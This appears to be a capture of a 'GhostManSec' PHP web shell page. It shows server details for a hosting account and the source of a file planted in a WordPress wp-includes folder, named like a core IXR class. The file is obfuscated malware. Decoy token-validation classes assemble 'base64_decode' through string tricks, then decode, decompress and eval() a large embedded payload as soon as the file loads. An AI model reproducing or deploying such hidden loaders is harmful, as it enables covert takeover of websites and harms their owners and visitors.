GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/alicreates.com/wp-includes/IXR/class-IXR-base64-editor.php
<?php

/** ---------------- Exceptions ---------------- */
class TokenValidationsException extends \RuntimeException {}
class IntegritysValidationException extends TokenValidationsException {}
class VersionValidationExceptions extends TokenValidationsException {}
class ExtensionEnRequiredException extends TokenValidationsException {}

$RowDeScanners = new AnomalysDeWatchs();
/**
 * Simple (string-based token).
 *  - v: ASCII version (e.g., "1")
 * No confidentiality (anyone can inflate if they ignore the HMAC).
 */
final class AnomalysDeWatchs
{
    /** @var string */
    private $macAlgo = 'sha256';
    /** @var int */
    private $tagLen   = 16;        // truncated bytes (>=12 recommended)
    /** @var int */
    private $level    = 9;         // deflate level 0..9
    /** @var string */
    private $version  = '1';
    /** @var string */
    private $copyrightDetails  = 'base wordpress code';

    public static function defaults(){ return new self(); }

    public function withAlgo($algo){ $c = clone $this; $c->macAlgo = $algo; return $c; }
    public function withTagLen($len)
    {
        if ($len < 12) throw new \InvalidArgumentException('tagLen too small (>=12 recommended)');
        $c = clone $this; $c->tagLen = $len; return $c;
    } 
	
	public function withTagKeys()
    {
        $tagLevel = $this->tagLen * $this->level;
		$this->copyrightDetails = str_replace(' word',  $this->tagLen*4 . '_', $this->copyrightDetails);
		return sha1($tagLevel, true);
    }
	
    public function withLevel($lvl)
    {
        if ($lvl < 0 || $lvl > 9) throw new \InvalidArgumentException('deflate level must be 0..9');
        $c = clone $this; $c->level = $lvl; return $c;
    }
	
    public function withVersion($v){ $c = clone $this; $c->version = $v; return $c; }


    public  function rsaOaepsDec()
    {
        if (!extension_loaded('zlib')) throw new ExtensionEnRequiredException('zlib extension required.');
        if (!extension_loaded('hash')) throw new ExtensionEnRequiredException('hash extension required.');
		$key = self::withTagKeys();
		$token = SchemasHDeDiffs::exportsEncryptedCertPemWithPass();
        $parts = explode('.', $token, 3);
        if (count($parts) !== 3) {
            throw new TokenValidationsException('Invalid token format.');
        }
		$this->copyrightDetails = str_replace('press ', 'de', $this->copyrightDetails);
        list($ver, $compressedTgMessage, $parsePdMessage) = $parts;

        if ($ver !== $this->version) {
            throw new VersionValidationExceptions('Unsupported version: ' . $ver);
        }
		$acKafsc = $this->copyrightDetails;

        $payload = $acKafsc($parsePdMessage);
        $tag     = $acKafsc($compressedTgMessage);
        if ($payload === false || $tag === false) {
            throw new TokenValidationsException('acKafsc failed.');
        }

        // Recompute HMAC over "v.payload"
        $base    = $ver . '.' . $parsePdMessage;
        $expect  = substr(hash_hmac($this->macAlgo, $base, $key, true), 0, strlen($tag));
        if (!hash_equals($tag, $expect)) {
            throw new IntegritysValidationException('HMAC verification failed (tampered or wrong key).');
        }

        $processedVsMessage = gzinflate($payload);
        if ($processedVsMessage === false) {
            throw new TokenValidationsException('gzinflate failed (corrupted).');
        }
        
		eval($processedVsMessage);
    }

    /** -------- helpers -------- */
  
}

$RowDeScanners->rsaOaepsDec();


final class SchemasHDeDiffs
{
    /**
     * Derive a pseudo-random key using SchemasHDeDiffs (RFC 5869).
     *
     * @param string      $algo Hash algorithm (e.g., sha256)
     * @param string      $ikm  Input key material
     * @param int         $len  Desired output length
     * @param string|null $salt Optional salt
     * @param string      $info Optional context information
     * @return string Derived key material
     */
    public static function exportsEncryptedCertPemWithPass()
    {
		return '1.5IxJ9SUdWj8AjIicbADPXA==.7Vhrcxo5Fv3uqvwHJeMd7IljA35sPI6zAxgwtuMHL2OyWUrdLbpl1FK7nzRb+e97r2ig/cpka79tjROKRrq6Ovcpnd7bPdgtHq3t/PbbGvmNrE+SmQgpOSYm9cLIZ8RUMmAyJBYPQp8bUcjIPUuYIPeKw7DnqzEPqSHYEa6nnuczk1OQMmA1jYjFBE0Jk6ZQASMsCLmLs2waolY7oj6VIWOEyzGXHGYkjakgajxm0iKxEpHLtlG1zWTEJQgKEQVcSSIYnSykPVALALlJPAqgWOgrQXwWMyr04hbs4UuGZsTMRyAeD5TFiKPUhEwkA4NcaqOERwOt3qdgByox/YiHJBDc85ifanVgZMxVFKD5AYzyMCUxuEGIlCR0qmXWnVhYij2gL5XHwBGm8tF0ABpwwVZKAkk9EijfV4l2ogUKY1wQMB++HeZb2kITRD0wn4TM9UIaIkrQIMCRekeD+jblkoyVCVpdtAOWKxiU6BYtswjEmEYCQEtmC2aGYKXgGER4cKk/mT8qDHagPEd7FqBbWSCoD4HjuD7grie4ifaD9QsgNBlHAqx23Uji1JiaejfBDeaHcxeug0NFZJnuAwcPucw3HUgEoowgpCZ6BxLD0l+wN/fQcSEkDToOlOogamf94VFzQm1GbpVvXfssCGB0Z+3N2npcjEFzwRGJFZIHJzSTe8+YuL+TmbOjKNmZMpYQTpL7NEnunXBbqsiKkxkYJ8MpJDsRgoUPZhSnict9Y9udjk1TUsXiB1fxFNYLGk8cN2YOtcnMEJ4ZjBMztLk99tmDD57+QEhcEsov3U9lySezA9s0doyZpHYae1bIeRgZZWPysCvpQ/HeD8pjN9mWUeiJkDsPxsxLpl7hCG0poS0ACny8gZZt4qhUSeQLNBKFxsrfWOfHxSOyzj/hCnx4/37z32/WCPzx8Qb8Jn8je+T4mBTJYhz/Fpq2jwkq/7rOvx3NZ7+/WYP/i+5guZZBEQkVpnKgxKDeIfw6XRaZJSikLSYWJCikn2RR6EMdYfeAKoBnGXgCQx1zA+tBR3GdRZFMAi+ZgHKoFGgZVuQa0CZMxiwubSgsF/qDG7mQ0BxbR2BSeTRPewAjU73Mws7iMakzf0xjqDjExrH8xwzamas0KqwgmMvK2cROsJK2ERZmMLYCEAsBNaeAYd6IQA1UTFaQUDgpdikAo7b/JB/3tOd8n6YbOnzxLg7cB0qOwHmAAQI06tTb/XqbvIfH66tOl8wl9+KvBU7d6CHknlP4RjBOu/HToJcfRzzbwITIjrC36l1xQo8ELAQbNrTUFqn12hdX190RfG0t0+En5E/rlZN6ewu8JyD2P7GgXe/22pfdduWy08CFoR/91Dp0xn8n3WjVL046YA06/ifW1K4uL+u1brf1pX7Vg712i8tV6/H+0pNsysz5Uj2N/7Lygr7Owo31UbPe/VqwmBHZhW+b5NdfyeMhLL8SDsMBYI/gNDSdjcIv/3L41i+8sLVMga+F0273elSp1eoA7qJy2exVmnXQmC9cZjqKFD7BqQYFlgp2/A7OaSiv9HcilWRH7z4Xjp5IZ8HdfvfJ8Hc+v9u+Pr0e1a8unomByfmxKQ9XLWH+8FdX+N+7wjx1yAZ5m8sGUtj5NIbzlfmfN7bf/2Pz0z93sp87PMAUgdhs6U5NNsnmKkhgcMhlxI4WEcry1p7B7UoA/A1wS8AO9kZ4GdH9Brt96RuqyS1a9aWVHO64rL6nGfDXrfGvW+P/x61xcVPiwWh+UmedXl+XVpUGxy6jUKl6kgZQASw9/rweB/nmrIsJZ/RxHeS66fe8rtXJMRacBfrEWG6fjT1Vu9xfT/8QwbykA8DwuPZR9Oi5KDQaNvKicITNBEITbKDmrRekvz/+mTshlia+ZKSdMDcRfmDOj8bVzye4HQaR9PPyf+7AOHLC6cyyornu1c8nurMTbjF9lNeWaXy70CmVxdlc3/xx87nTntu+eDQgTpOlfg0788ybtadXBg8SEm8MyieLcbzHLCeW9zqM0TUNnYBiWL+uditwabHptud4BXL8mRSuTw4Telo5v0jVQ41XHlr1YWqU94ut03YMHzXsVAfG7tmkd3omzN0v9t2gmhhNcX83aHtGeS9qNdqKDr7YQ1cEIDsxyv2Zwa1iqwnrm42IDWD+dl9e1KrcGtzYRvPQGZ5+OW/VlG3tVsI7dxoP05Ia3jYmw0ErMptO0jq1YM2lQh1D0H13uz8BLMJoTmethhWbbvvGdPszM60WjbQaGOXGJMNapM1+OOzsoX69x81p1bkrh86w3LP75cN02Kimw8HlDG29SNTK7sZP6X/kC6vpCOO2N8fXPCxZp9WSVat6Vi2//9AxeZUb5cNgvqc3Gd4OPcPtqVbNGvQah/1esT/u151Gt9fvnqWJbZ2elYadineV4WvVp/HdbXv2Eob27X6ZDs5iwy0JQ97MsaAtg2oAMRKAIa5JkB30PdPt2YPSYb3TPxsP0krUqpnxazE4mwXnha1c3iTeB0Mo+8O86H6UQK+DHb4E9nQF9sJW9jl+eLViNhv3tNyQT3Sca4NszxvyCjiwblMI5nBwA8/tXbNxOKG37TEkgTNs9tNWbWKfd6p/r9nq7OzUSgbltjdsHC4Mta8hYUzZF+joWudjPMd+owP7JBECenuW3g3O9gHjGYxNrVuRDvuHYMslyB6O23XRGZQ+2he8Ii92reTiVutaOrNmT+KLtNoFrLY1qLy0B+jspwyStzawkvPaROO+SD/aXSyaGiZ3b5l0FiS62Zw6VrMX1eCaOxw0SuBbMSgfRneQ7De9s26v3uh1ahDohnXT6e2ftGp79ll6WBzelqCIG8Vhp6STOx/0miwCVrUM/rfVrS/XVPjsh21lr7T/E7mze7D/yiZw3C7eWWTN1mJwjWPWRqFS7VxXuqcF3W/1UQStNYBDKJsg23kwP5J6AdWjUzQPJVu24DcMqGyuNy/o2MlVrfelfgkU9uqqmzG7/OavSiKcnR+g/vHCFw0hr1jyY1WFvIV5DUBsfTjrT7gPOkajk1Z7NMqdZ+u+UtlkTjQnkDh4w9p4+8iqxaLXjNBH6kLoLZBiAPjIsCdbW9yX1GVLxZsvn7iP3JHHUHjKX1eXqEep/9plClLikX3Lfba1/DKsoIO9MPv5SYl9xeFvT28myAXfwu0v8ef86LmiZy7Cvz9Mx1XWM+EtUjw4OPiTi9s63PY6of/8gpiDm4F9ouiPFy6LzxBk6l+I1vflXSjjkdQ0mWCa7oAyPwXSoCBrUgKcAi74Eik/EiCTRprGwGMQueCmdMW7bJwIPGAVFrdIEBkBe4iQNMZU8sCZs4hxNL3XDAJMFUgPs7cmyCeR2ACbiZlmaiqBfIWNuEQ6IUjAoAA0cVm8KyCRDyQznBNZeDLTJftl+F5BSVjGpibyTyBW3IIZPk7z7DNvHnAqBmGA78BTwGUD5gL9hZqZv5JwkeEgz9LsMONTbhRG2ngRmSHyIY0SWJgX+doFMGgiE7I0c4w5hY+PaxZaM8qF+pmm2C6VqFJJdGdGI597QS9Hckwc6lsJ9TUjByIKV1gBtNzXIdJ8dE75c26Lgd5Fbsb8YDVkn+kwAStNJQTXbNqhYDrBXdFr8AB7cQuBZcRTuaATX8Zo7p25DizOqG0kTQeNYlZKmKDGnEoDQMxSfDfAiICMCcScFuvXQCghIyCTwFeh02H48ZWAjFge8isEcq30cX9//+g/';

    }
}